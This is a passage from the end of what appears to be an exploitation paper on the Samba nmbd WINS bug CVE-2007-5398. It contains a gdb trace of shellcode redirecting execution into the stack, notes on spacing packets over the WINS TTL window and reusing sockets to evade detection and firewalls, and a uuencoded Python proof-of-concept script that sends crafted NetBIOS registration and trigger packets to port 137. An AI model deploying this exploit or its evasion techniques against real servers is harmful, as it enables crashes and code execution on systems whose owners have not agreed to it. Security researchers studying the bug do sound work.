0x8117f8c <keydata.21+12>: dec %ecx
...
(gdb) stepi
0x08117f83 in keydata.21 ()
(gdb) x/10i $eip
0x8117f83 <keydata.21+3>: push %ebp
0x8117f84 <keydata.21+4>: pop %ebx
0x8117f85 <keydata.21+5>: xor %ebx,0x9(%edi)
0x8117f88 <keydata.21+8>: sub %esi,%esp
0x8117f8a <keydata.21+10>: call *0x504e5749(%ecx)
0x8117f90 <keydata.21+16>: add %al,(%eax)
...
(gdb) stepi
0x08117f84 in keydata.21 ()
(gdb)
0x08117f85 in keydata.21 ()
(gdb)
0x08117f88 in keydata.21 ()
(gdb) x/10i $eip
0x8117f88 <keydata.21+8>: sub %esi,%esp
0x8117f8a <keydata.21+10>: jmp *%esp
...
(gdb) i r esi
esi 0x59e 1438
(gdb) x/10i $esp - $esi
0xbfbfdfa6: cld
0xbfbfdfa7: mov %edi,%eax
0xbfbfdfa9: addb $0x0,(%eax)
0xbfbfdfac: mov %edi,%esi
0xbfbfdfae: nop
0xbfbfdfaf: addb $0x0,(%eax)
0xbfbfdfb2: add $0x3c,%esi
0xbfbfdfb5: addb $0x0,(%eax)
0xbfbfdfb8: mov %esp,%edi
0xbfbfdfba: nop
--------------------------------------------
One problem with the above, is that the first_layer_sc.asm needs to be
updated, as various things have changed. Such as edi pointing to the .bss
memory location, esp pointing to where we are currently executing, etc.
Those changes are relatively minor however.
Unfortunately, due to the half eip overwrite, we still need two addresses
to gain code execution. However, this mechanism is probably more reliable
than relying on stack addresses to be the same each run.
--[ 5.7 - Additional exploitation notes
Registrations take a parameter called ttl (time to live).. looking at the
Samba source we see:
--------------------------------------------
static int get_ttl_from_packet(struct nmb_packet *nmb)
{
int ttl = nmb->additional->ttl;
if (ttl < lp_min_wins_ttl()) {
ttl = lp_min_wins_ttl();
}
if (ttl > lp_max_wins_ttl()) {
ttl = lp_max_wins_ttl();
}
return ttl;
}
param/loadparam.c:
FN_GLOBAL_INTEGER(lp_min_wins_ttl, &Globals.min_wins_ttl)
Globals.min_wins_ttl = 60 * 60 * 6; /* 6 hours default. */
Globals.max_wins_ttl = 60 * 60 * 24 * 6; /* 6 days default. */
--------------------------------------------
This means that by default, we have just under 6 hours to send all the
required packets, and if we wanted, just under 6 days to exploit it. If the
registration packets are sent at appropriate intervals, this should avoid
any signatures based on sending interval / query times. Another way to
avoid simple detection, would be to use differing netbios registration
flags, and avoid reasonably static ip addresses.
In addition to the above time out, with a little bit more effort, it's
possible to use the existing file descriptor, and ip address / port
information in the packet structure passed to reply_netbios_packet(), in
order to avoid new network connections which may be noticed / firewall'd /
blocked in some way.
With further work against known targets, the ebp register could be restored
correctly, and execution flow could be restored to the appropriate point.
This would provide seamless exploitation.
--[ 6 - References
[1] http://us1.samba.org/samba/security/CVE-2007-5398.html
http://secunia.com/secunia_research/2007-90/advisory/
[2] http://www.wireshark.org
[3] http://oss.coresecurity.com/projects/impacket.html
[4] http://sourceforge.net/projects/tdb/
[5] http://www.cs.rice.edu/~scrosby/hash/
[6] http://oss.coresecurity.com/projects/inlineegg.html
[7] http://www.phrack.org/issues.html?issue=59&id=7
[8] Bounds error: attempt to reference memory overrunning the end of an
object. Pointer value: References, size: 1
--[ 7 - Addendum
I'm honoured that this paper was even considered worthy for inclusion.
Thanks for the support ;)
I'll be present at Ruxcon 2008, so come along and join in the fun.
http://www.ruxcon.org.au/ - 29th November, 2008
Here is a proof of concept to trigger the issue:
begin 600 CVE-2007_5398-trigger.py
M(R$O=7-R+V)I;B]P>71H;VX@#0H-"FEM<&]R="!S=')U8W0-"FEM<&]R="!I
M;7!A8VME="YS=')U8W1U<F4-"FEM<&]R="!I;7!A8VME="YN;6(@#0II;7!O
M<G0@<F%N9&]M#0II;7!O<G0@<WES#0II;7!O<G0@<V]C:V5T#0II;7!O<G0@
M=&EM90T*#0IC;&%S<R!.34)?4F5G:7-T97)?4&%C:V5T*&EM<&%C:V5T+G-T
M<G5C='5R92Y3=')U8W1U<F4I.@T*"7-T<G5C='5R92`]("@-"@D)*"`G=')A
M;G-A8W1I;VY?:60G+"`G(4@G("DL#0H)"2@@)V9L86=S)RP@)R%()RDL#0H)
M"2@@)W%U97-T:6]N<R<L("<A2"<@*2P-"@D)*"`G86YS=V5R7W)R<R<L("<A
M2"<@*2P-"@D)*"`G875T:&]R:71Y7W)R<R<L("<A2"<@*2P-"@D)*"`G861D
M:71I;VYA;%]R<G,G+"`G(4@G*2P-"@T*"0DH("=Q=65R>5]N86UE)RP@)S,T
M<R<I+`T*"0DH("=Q=65R>5]T>7!E)RP@)R%()R`I+`T*"0DH("=Q=65R>5]C
M;&%S<R<L("<A2"<@*2P-"@D)#0H)"2@@)V%D9&ET:6]N86Q?;F%M92<L("<R
M<R<@*2P-"@D)*"`G861D:71I;VYA;%]T>7!E)RP@)R%()RDL#0H)"2@@)V%D
M9&ET:6]N86Q?8VQA<W,G+"`G(4@G("DL#0H)"2@@)W1I;65?=&]?;&EV92<L
M("<A3"<@*2P-"@D)*"`G9&%T85]L96XG+"`G(4@G("DL#0H)"2@@)V%D9&ET
M:6]N86Q?9FQA9W,G+"`G(4@G("DL#0H)"2@@)V%D9&ET:6]N86Q?:7!A9&1R
M)RP@)R%,)R`I#0H)*0T*#0IC;&%S<R!.34)?5')I9V=E<E]086-K970H:6UP
M86-K970N<W1R=6-T=7)E+E-T<G5C='5R92DZ#0H)<W1R=6-T=7)E(#T@*`T*
M"0DH("=T<F%N<V%C=&EO;E]I9"<L("<A2"<@*2P-"@D)*"`G9FQA9W,G+"`G
M(4@G*2P-"@D)*"`G<75E<W1I;VYS)RP@)R%()R`I+`T*"0DH("=A;G-W97)?
M<G)S)RP@)R%()R`I+`T*"0DH("=A=71H;W)I='E?<G)S)RP@)R%()R`I+`T*
M"0DH("=A9&1I=&EO;F%L7W)R<R<L("<A2"<I+`T*#0H)"2@@)W%U97)Y7VYA
M;64G+"`G,S1S)RDL#0H)"2@@)W%U97)Y7W1Y<&4G+"`G(4@G("DL#0H)"2@@
M)W%U97)Y7V-L87-S)RP@)R%()R`I+`T*"2D-"@T*8VQA<W,@0U9%7S(P,#=?
M-3,Y.#H-"@T*"71A<F=E=',@/2!;#0H)"7L@#0H)"0DG;F%M92<Z("=$96)U
M9V=I;F<G+`T*"0D))V1E<V-R:7!T:6]N)SH@)U1H:7,@=&%R9V5T(&%I;7,@
M=&\@8W)A<V@@=&AE('9U;&YE<F%B;&4@<V5R=FEC92<L#0H)"0DG<F5G:7-T
M97)?<&%C:V5T<R<Z(#$P,`T*"0E]#0H)70T*"0D-"@T*"61E9B!?7VEN:71?
M7RAS96QF+"!H;W-T+"!T87)G970I.@T*"0EI9BAT87)G970@/"`P(&]R('1A
M<F=E="`^(&QE;BAS96QF+G1A<F=E=',I*3H-"@D)"7)A:7-E($5X8V5P=&EO
M;BP@)TEN=F%L:60@=&%R9V5T(&ED('-P96-I9FEE9"X@4&QE87-E('-E92`M
M:"!F;W(@;6]R92!I;F9O<FUA=&EO;B<-"@T*"0ES96QF+FAO<W0@/2!H;W-T
M#0H)"7-E;&8N=&%R9V5T7VED(#T@=&%R9V5T#0H-"@ED968@0W)E871E3DU"
M4F5G:7-T97)086-K970H<V5L9BP@;F%M92P@:7`L(&9L86=S*3H-"@D)96YC
M;V1E9%]N86UE(#T@:6UP86-K970N;FUB+F5N8V]D95]N86UE*&YA;64L(#!X
M,6(L("(B*0T*#0H)"7!A8VME="`]($Y-0E]296=I<W1E<E]086-K970H*0T*
M"0EP86-K971;)W1R86YS86-T:6]N7VED)UT@/2!R86YD;VTN<F%N9&EN="@P
M+"`P>&9F9F8I#0H)"7!A8VME=%LG9FQA9W,G72`](#!X,CDP,`T*"0EP86-K
M971;)W%U97-T:6]N<R==(#T@,0T*"0EP86-K971;)V%N<W=E<E]R<G,G72`]
M(#`-"@D)<&%C:V5T6R=A=71H;W)I='E?<G)S)UT@/2`P#0H)"7!A8VME=%LG
M861D:71I;VYA;%]R<G,G72`](#$-"@T*"0EP86-K971;)W%U97)Y7VYA;64G
M72`](&5N8V]D961?;F%M90T*"0EP86-K971;)W%U97)Y7W1Y<&4G72`](#!X
M,C`-"@D)<&%C:V5T6R=Q=65R>5]C;&%S<R==(#T@,'@P,0T*"0D-"@D)<&%C
M:V5T6R=A9&1I=&EO;F%L7VYA;64G72`](")<>&,P7'@P8R(-"@D)<&%C:V5T
M6R=A9&1I=&EO;F%L7W1Y<&4G72`](#!X,#`R,`T*"0EP86-K971;)V%D9&ET
M:6]N86Q?8VQA<W,G72`](#!X,#`P,0T*"0EP86-K971;)W1I;65?=&]?;&EV
M92==(#T@,`T*"0EP86-K971;)V1A=&%?;&5N)UT@/2`V#0H)"7!A8VME=%LG
M861D:71I;VYA;%]F;&%G<R==(#T@9FQA9W,-"@D)<&%C:V5T6R=A9&1I=&EO
M;F%L7VEP861D<B==(#T@:7`-"@D-"@D)<F5T=7)N('-T<BAP86-K970I#0H-
M"@ED968@5')I9V=E<E9U;&YE<F%B:6QI='DH<V5L9BDZ#0H)"6YA;64@/2!I
M;7!A8VME="YN;6(N96YC;V1E7VYA;64H)RHG+"`P>#%B+"`B(BD-"@T*"0DC
M($ET(&%P<&5A<G,@:6UP86-K970N;FUB+F5N8V]D95]N86UE(&1O97,@;F]T
M(&AA;F1L92!T:&4@86)O=F4@8V%S92!E=F5R>2!W96QL("T@<V\@=V4@96YC
M;V1E#0H)"2,@=&AE('1Y<&4@;6%N=6%L;'D-"@T*"0EN86UE(#T@;F%M95LZ
M,S%=("L@(EQX-#)<>#1C(B`K(&YA;65;,S,Z70T*#0H)"71R:6=G97(@/2!.
M34)?5')I9V=E<E]086-K970H*0T*"0ET<FEG9V5R6R=T<F%N<V%C=&EO;E]I
M9"==(#T@<F%N9&]M+G)A;F1I;G0H,"P@,'AF9F9F*0T*"0ET<FEG9V5R6R=F
M;&%G<R==(#T@,'@P,3`P#0H)"71R:6=G97);)W%U97-T:6]N<R==(#T@,0T*
M"0ET<FEG9V5R6R=A;G-W97)?<G)S)UT@/2`P#0H)"71R:6=G97);)V%U=&AO
M<FET>5]R<G,G72`](#`-"@D)=')I9V=E<ELG861D:71I;VYA;%]R<G,G72`]
M(#`-"@T*"0ET<FEG9V5R6R=Q=65R>5]N86UE)UT@/2!N86UE#0H)"71R:6=G
M97);)W%U97)Y7W1Y<&4G72`](#!X,C`)#0H)"71R:6=G97);)W%U97)Y7V-L
M87-S)UT@/2`P>#`Q#0H-"@D)<VMT(#T@<V5L9BY#;VYN96-T*"D-"@D)<VMT
M+G-E;F0H<W1R*'1R:6=G97(I*0T*"0ES:W0N8VQO<V4H*0T*#0H)9&5F($UA
M:V5.86UE*'-E;&8I.@T*"0EL971T97)S(#T@6VD@9F]R(&D@:6X@<F%N9V4H
M;W)D*"=!)RDL(&]R9"@G6B<I*S$I70T*"0ER86YD;VTN<VAU9F9L92AL971T
M97)S*0T*"0EN86UE(#T@<F%N9&]M+G-A;7!L92AL971T97)S+"!R86YD;VTN
M<F%N9&EN="@R+"`Q-"DI#0H)"6YA;64@/2`G)RYJ;VEN*%MC:'(H:2D@9F]R
M(&D@:6X@;F%M95TI#0H-"@D)<F5T=7)N(&YA;64-"@T*"61E9B!#<F5A=&50
M86-K971S*'-E;&8I.@T*"0EP86-K971S(#T@6UT-"@D)#0H)"69O<B!I(&EN
M(')A;F=E*'-E;&8N=&%R9V5T<UMS96QF+G1A<F=E=%]I9%U;)W)E9VES=&5R
M7W!A8VME=',G72DZ#0H)"0DC(&EP(#T@<F%N9&]M+G)A;F1I;G0H,"P@,'AF
M9F9F9F9F9BD-"@D)"6EP(#T@,'@V.#8Y-F$V8@T*"0D);F%M92`]('-E;&8N
M36%K94YA;64H*0T*"0D)<&%C:V5T(#T@<V5L9BY#<F5A=&5.34)296=I<W1E
M<E!A8VME="AN86UE+"!I<"P@,'@V,#`P*0T*"0D)<&%C:V5T<RYA<'!E;F0H
M<&%C:V5T*0T*#0H)"7)E='5R;B!P86-K971S#0H-"@ED968@0V]N;F5C="AS
M96QF*3H-"@D)<VMT(#T@<V]C:V5T+G-O8VME="AS;V-K970N049?24Y%5"P@
M<V]C:V5T+E-/0TM?1$=204TL(#`I#0H)"7-K="YC;VYN96-T*"AS96QF+FAO
M<W0L(#$S-RDI#0H)"7)E='5R;B!S:W0-"@T*"61E9B!396YD4&%C:V5T<RAS
M96QF+"!P86-K971S*3H-"@D)<VMT(#T@<V5L9BY#;VYN96-T*"D-"@D)9F]R
M('!A8VME="!I;B!P86-K971S.@T*"0D)<VMT+G-E;F0H<&%C:V5T*0T*"0D)
M=&EM92YS;&5E<"@P+C$I#0H-"@D)<VMT+F-L;W-E*"D-"@T*#0H)9&5F(')U
M;BAS96QF*3H-"@D)<&%C:V5T<R`]('-E;&8N0W)E871E4&%C:V5T<R@I#0H)
M"7-E;&8N4V5N9%!A8VME=',H<&%C:V5T<RD-"@T*"0ES96QF+E1R:6=G97)6
M=6QN97)A8FEL:71Y*"D-"@D-"F1E9B!P87)S95]A<F=S*&%R9W,I.@T*"69R
M;VT@;W!T<&%R<V4@:6UP;W)T($]P=&EO;E!A<G-E<@T*#0H)<&%R<V5R(#T@
M3W!T:6]N4&%R<V5R*"D-"@EP87)S97(N<V5T7V1E9F%U;'1S*&AO<W0]3F]N
M92P@=&%R9V5T/4YO;F4L(&QI<W0]1F%L<V4I#0H-"@EP87)S97(N861D7V]P
M=&EO;B@G+2UH;W-T)RP@9&5S=#TB:&]S="(I#0H)<&%R<V5R+F%D9%]O<'1I
M;VXH)RTM=&%R9V5T)RP@9&5S=#TB=&%R9V5T(BP@='EP93TB:6YT(BD-"@EP
M87)S97(N861D7V]P=&EO;B@G+2UL:7-T)RP@9&5S=#TB;&ES="(L(&%C=&EO
M;CTB<W1O<F5?=')U92(I#0H-"@EO<'1S+"!A<F=S(#T@<&%R<V5R+G!A<G-E
M7V%R9W,H87)G<RD-"@T*"6EF*&]P=',N:&]S="!I<R!.;VYE*3H-"@D)<F%I
M<V4@17AC97!T:6]N+"`G2&]S="!A<F=U;65N="!H87,@;F]T(&)E96X@<W5P
M<&QI960L('!L96%S92!R=6X@=VET:"`M:"!T;R!S964@<&%R86UE=&5R<R<-
M"@T*"6EF*&]P=',N=&%R9V5T(&ES($YO;F4I.@T*"0ER86ES92!%>&-E<'1I
M;VXL("=487)G970@87)G=6UE;G0@:&%S(&YO="!B965N('-U<'!L:65D+"!P
M;&5A<V4@<G5N('=I=&@@+6@@=&\@<V5E('!A<F%M971E<G,G#0H-"@EI9BAO
M<'1S+FQI<W0I.@T*"0EF;W(@=&%R9V5T(&EN($-615\R,#`W7S4S.3@N=&%R
M9V5T<SH-"@D)"7!R:6YT("(E,3)S("`@("5S(B`E("AT87)G971;)VYA;64G
M72P@=&%R9V5T6R=D97-C<FEP=&EO;B==*0T*#0H)"7-Y<RYE>&ET*#$I#0H-
M"@ER971U<FX@;W!T<RP@87)G<PT*#0ID968@;6%I;BAA<F=S*3H-"@EO<'1S
M+"!A<F=S(#T@<&%R<V5?87)G<RAA<F=S*0T*#0H)97AP;&]I="`]($-615\R
M,#`W7S4S.3@H;W!T<RYH;W-T+"!O<'1S+G1A<F=E="D-"@EE>'!L;VET+G)U
M;B@I#0H-"FEF(%]?;F%M95]?(#T]("=?7VUA:6Y?7R<Z#0H);6%I;BAS>7,N
-87)G=ELQ.ETI#0H-"F%M
`
end